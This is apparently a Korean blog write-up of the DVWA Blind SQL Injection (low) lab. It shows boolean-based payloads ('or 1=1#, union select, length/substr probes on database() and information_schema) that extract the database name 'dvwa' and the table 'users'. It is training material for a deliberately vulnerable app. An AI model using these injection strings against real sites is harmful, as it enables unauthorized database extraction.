창은 이전의 SQL Injection 문제와 동일하다.
Blind SQL Injection은 SQL 쿼리의 참, 거짓으로만 DB 구조를 파악해서 공격하는 기법이다.
'or 1=1# 이렇게 넣으면 참이 반환되고
'or 1=2# 이렇게 넣으면 거짓이 반환된다.
우선 데이터베이스를 구성하면 column의 개수를 알아내기 위해서 union select 구문을 사용할 것이다.
union은 두 개의 구문의 결과를 합쳐서 반환해준다.
각 SELECT문은 동일한 column 개수를 가져야 하기 때문에 column 개수를 찾을 수 있다.
이렇게 select에 column을 하나만 넣으면 에러가 발생하고
두 개를 넣으면 참이 반환된다.
column 개수는 2개임을 찾았다.
이제 데이터베이스 이름을 찾는다.
1' and length(database())=4# 에서 참인 것을 확인해서 데이터베이스명의 길이가 4인 것을 알아냈다.
그 다음으로 substr 함수를 이용해서 한글자씩 이름을 알아낸다.
1' and substr(database(),1,1)='d'# 이렇게 넣었을 때 참이 나왔다.
이런식으로 알아냈더니 dvwa가 나왔다.
이제 테이블 이름을 찾는다.
1' and length((select table_name FROM information_schema.tables WHERE table_schema = 'dvwa' limit 1,1))=5#
이렇게 하면 참이 나온다.
MYSQL에서 테이블 이름을 담아두는 information_scheman.tables에서 dvwa에 해당하는 table_name을 가져온다.
length안에 괄호가 두개인 이유는 쿼리 구문을 ()로 감싸줘야 인식할 수 있기 때문이다.
5글자짜리 테이블 이름을 찾아야 한다.
1' and substr((select table_name FROM information_schema.tables WHERE table_schema = 'dvwa' limit 1,1), 1, 1)='u'#
substr 함수로 한글자씩 찾아내면, 테이블 이름이 users인 것을 알 수 있다.
'웹해킹 > DVWA' 카테고리의 다른 글
DVWA XSS(DOM)(low) 롸업 (0) | 2023.11.09 |
---|---|
DVWA Weak Session IDs(low) 롸업 (0) | 2023.11.08 |
DVWA SQL Injection(low) 롸업 (0) | 2023.11.08 |
DVWA Insecure CAPTCHA(low) 롸업 (0) | 2023.11.07 |
DVWA File Upload(low) 롸업 (0) | 2023.11.07 |